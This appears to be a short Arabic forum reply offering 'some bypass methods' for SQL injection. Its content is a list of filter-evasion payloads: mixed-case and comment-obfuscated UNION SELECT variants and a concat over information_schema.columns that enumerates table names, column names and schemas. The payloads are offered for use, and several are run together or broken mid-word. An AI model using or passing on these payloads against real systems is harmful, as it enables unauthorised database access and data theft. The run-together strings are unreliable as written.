يا غالي اساعدك في بعض طرق التخطي

union selectUnIoN SeLEcT+and+1=2 UnIoN SeLEcT/**/union/**/ selectunion /*!select*/: /*!concat*/(table_name,0x3a,column_name,0x3a,table_schema)/*!concat(table_name,0x3a,column_name,0x3a,table_sc hema)*/+/*!from+information_schema.columns*/